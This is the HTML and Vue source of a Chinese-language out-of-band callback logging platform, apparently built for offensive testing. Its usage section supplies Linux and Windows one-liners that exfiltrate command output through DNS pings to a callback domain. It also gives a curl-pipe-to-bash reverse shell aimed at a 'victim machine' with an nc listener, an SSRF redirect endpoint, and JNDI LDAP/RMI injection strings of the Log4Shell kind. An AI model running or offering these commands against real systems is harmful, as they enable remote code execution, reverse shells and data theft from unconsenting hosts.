<html lang="zh">

<head>
    <meta charset="utf-8">
    <title>MD5(Fu4k USA).com Dns、Http、Rmi、Ldap Log</title>
    <link href="https://lf26-cdn-tos.bytecdntp.com/cdn/expire-20-y/bootstrap/4.5.3/css/bootstrap.min.css"
        type="text/css" rel="stylesheet" />
    <link
        href="https://lf6-cdn-tos.bytecdntp.com/cdn/expire-1-M/MaterialDesign-Webfont/4.1.95/css/materialdesignicons.min.css"
        type="text/css" rel="stylesheet" />
    <link href="css/style.min.css" rel="stylesheet">
    <script src="https://lf26-cdn-tos.bytecdntp.com/cdn/expire-20-y/vue/3.2.6/vue.global.prod.min.js"
        type="application/javascript"></script>
</head>
<body>
    <div id="app">
        <div class="container-fluid p-t-15">
            <div class="row">
                <div class="col-lg-12">
                    <div class="card card-hover-shadow">
                        <header class="card-header">
                            <div class="card-title">Fuzz.red 安全快速的Dns、Http、Rmi、Ldap Log平台 -- Hacking for fun!</div>
                        </header>
                        <div class="card-body">
                            <div class="callout callout-success mb-3">
                                <h4> Domain: {{domain}}</h4>
                                <h4> rmi: rmi://jndi.log.d48e48337471993e.com:5/{{domain.split(".")[0]}}/</h4>
                                <h4> ldap: ldap://jndi.log.d48e48337471993e.com:5/{{domain.split(".")[0]}}/</h4>
                                <h4> Key: {{key}}</h4>
                                <h4 v-if='isdomainexpire'> 获取域名中...</h4>
                            </div>
                            <button class="btn btn-label btn-primary" href="#" role="button"
                                @click="getDomain()"><label><i
                                        class="mdi mdi-checkbox-marked-circle-outline"></i></label>获取域名</button>&nbsp;&nbsp;
                            <button class="btn btn-label btn-info" href="#" role="button" @click="getResult()"><label><i
                                        class="mdi mdi-autorenew"></i></label>获取结果</button>
                            <hr>
                            <h4>Results</h4>
                            <hr>
                            <table class="table">
                                <caption>
                                    LOG结果
                                </caption>
                                <thead>
                                    <tr>
                                        <th>#</th>
                                        <th>Type</th>
                                        <th>Record</th>
                                        <th>Ip</th>
                                        <th>req_body</th>
                                        <th>Time</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <tr v-for="(record,index) in records">
                                        <th scope="row">{{ index }}</th>
                                        <td><span :class="recordTypeStyle(record.type)">{{ record.type }}</span></td>
                                        <td>{{ record.subdomain }}</td>
                                        <td>{{ record.ip }}</td>
                                        <td>{{ record.reqbody }}</td>
                                        <td>{{ record.time }}</td>
                                    </tr>
                                </tbody>
                            </table>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Shell command response card  -->

        <div class="container-fluid p-t-15">
            <div class="card card-hover-shadow">
                <header class="card-header">
                    <div class="card-title">dns 命令执行回显</div>
                </header>
                <div class="card-body">
                    <div class="callout callout-info">Linux:  
                        <code>CMD="这里填你的命令";RExSP="$(eval "$CMD"|hexdump -v -e '/1 "%02X"')";R=$(tr -dc 'a-z0-9' &lt;/dev/urandom | head -c 4 | sed 's/^[\n\r]*//g');i=0;for s in $(echo $RExSP|fold -w 63);do i=$((i+1));ping -c 1 "$s.$i.$R.cmd.{{domain}}"&gt;/dev/null;done
                        </code>
                    </div>
                    <br>
                    <div class="callout callout-info">Windows:
                        <code>这里填你的命令 1> execfile7 && certutil -encodehex -f execfile7 execfile7.txt 4 && (for /f "Delims=: Tokens=1-2" %a in ('findstr /n . execfile7.txt') do (for /f "Tokens=1-16" %c in ('echo %b')do ping -nc 1 %c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r.%a.%RANDOM%.cmd.9dlt.callback.red)) && del execfile8 && del execfile7.txt
                        </code>
                    </div>
                    <br>
                    <div v-for="(record,index) in cmdrecords">
                        <div class="callout callout-info">时间：{{ record.time }} </div>
                        <pre>{{ record.content }}</pre>
                    </div>
                </div>
            </div>
        </div>

        <!-- USAGE CARD -->
        <div class="container-fluid p-t-15">
            <div class="card card-hover-shadow">
                <header class="card-header">
                    <div class="card-title">食用方法(反馈QQ群:727871590)</div>
                </header>
                <div class="card-body">
                    <div class="callout callout-info">SSRF 302 redirect
                        <code>log.d48e48337471993e.com/ssrf/10.10.1.1/</code></div><br>
                    <pre>
=> $ curl log.d48e48337471993e.com/ssrf/10.10.1.1/
< HTTP/1.1 302 Found
< Server: nginx/1.20.1
< Date: Sun, 16 Jan 2022 15:41:36 GMT
< Content-Type: text/html;charset=utf-8
< Content-Length: 0
< Connection: keep-alive
< Cache-Control: must-revalidate, no-store
< Location: http://10.10.1.1/
</pre>
                    <div class="callout callout-info">反弹shell <code>log.d48e48337471993e.com/sh4ll/ip:port</code></div>
                    <br>
                    <p class="font-weight-bold">受害者机器:</p>
                    <pre>
=> $ curl log.d48e48337471993e.com/sh4ll/1.2.3.4:1234 | bash
or $ curl log.d48e48337471993e.com/sh4ll/1.2.3.4:1234 | sh
</pre>
                    <p class="font-weight-bold">你的VPS:</p>
                    <pre>
=> $ nc -lvvp 1234
=> listening on [any] 1234 ...
connect to [1.2.3.4] from fbi.gov [127.0.0.1] 46958
</pre>
                    <div class="callout callout-info">RMI or LDAP 服务监听</div>
                    <br>
                    <pre>
rmi://jndi.log.d48e48337471993e.com:5/{{domain.split('.')[0]}}/
ldap://jndi.log.d48e48337471993e.com:5/{{domain.split('.')[0]}}/
路径后可以添加任何字符或留空 便于识别区分 如:
${jndi:ldap://jndi.log.d48e48337471993e.com:5/{{domain.split('.')[0]}}/test}
${jndi:rmi://jndi.log.d48e48337471993e.com:5/{{domain.split('.')[0]}}/hello}
</pre>
                </div>
            </div>
        </div>
    </div>
    <script>
        const App = {
            data() {
                return {
                    isdomainexpire: false,
                    domain: "loading",
                    key: "loading...",
                    records: [],
                    cmdresopnse: []
                }
            },
            methods: {
                getDomain() {
                    fetch('https://log.d48e48337471993e.com/get').then(res => res.json()).then(resp => {
                        this.domain = resp.subdomain
                        this.key = resp.key
                        localStorage.setItem('domain', this.domain)
                        localStorage.setItem('key', this.key)
                        this.isdomainexpire = false
                    })
                },
                hex2string(hexString){
                    // Convert hexadecimal string to byte array
                    const byteArray = new Uint8Array(hexString.match(/[\da-f]{2}/gi).map(function (h) {
                    return parseInt(h, 16);
                    }));
                    // Decode byte array from GB2312 to UTF-8
                    const decoder = new TextDecoder("gbk");
                    const utf8String = decoder.decode(byteArray);
                    return utf8String
                },
                getCmdresp(){
                    var _cmdrecords=[],randomKeys ={}
                    for (var i = 0; i < this.records.length; i++) {
                        //举个例子： 1231231223123123.1.h1sw.cmd.de21.log.d48e48337471993e.com 
                        domainKeyArray = this.records[i].subdomain.split('.')
                        if (domainKeyArray[3]="cmd" && domainKeyArray.length==9) {
                            randkey=domainKeyArray[2];  //example => h1sw
                            cmd_index=parseInt(domainKeyArray[1]); //example => 1

                            randomKeys[randkey]=randomKeys[randkey]||[]
                            time_index=0//时间存储的位置,这里存到randomKeys的第一个
                            randomKeys[randkey][time_index]=this.records[i].time
                            randomKeys[randkey][cmd_index]=domainKeyArray[0]
                        }
                    }
                    for (i in randomKeys) {
                        _cmdrecords.push({time:randomKeys[i][0],content:this.hex2string(randomKeys[i].slice(1).join(""))})
                    }
                    _cmdrecords=_cmdrecords.sort(function(a,b){return new Date(a.time)-new Date(b.time)})

                    this.cmdrecords = _cmdrecords
                },
                getResult() {
                    if (!this.isdomainexpire) {
                        fetch('https://log.d48e48337471993e.com/', {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/x-www-form-urlencoded'
                            },
                            body: "key=" + this.key
                        }).then(res => res.json()).then(resp => {
                            if (resp.code == 200) {
                                this.records = resp.data
                            } else if (resp.code == 403) {
                                this.isdomainexpire = true
                                this.getDomain()
                            }
                        })
                        this.getCmdresp()
                    }
                },
                recordTypeStyle(recordType) {
                    styles = { "dns": "badge badge-info", "http": "badge badge-success", "ldap": "badge badge-danger", "rmi": "badge badge-warning" }
                    return styles[recordType]
                }
            },
            mounted() {
                if (localStorage.getItem('domain') != null && localStorage.getItem('key') != null) {
                    this.domain = localStorage.getItem('domain')
                    this.key = localStorage.getItem('key')
                    this.getResult()
                } else {
                    this.getDomain()
                }
                setInterval(() => {
                    this.getResult()
                }, 1500)
            }
        }
        Vue.createApp(App).mount("#app");
    </script>
</body>

</html>
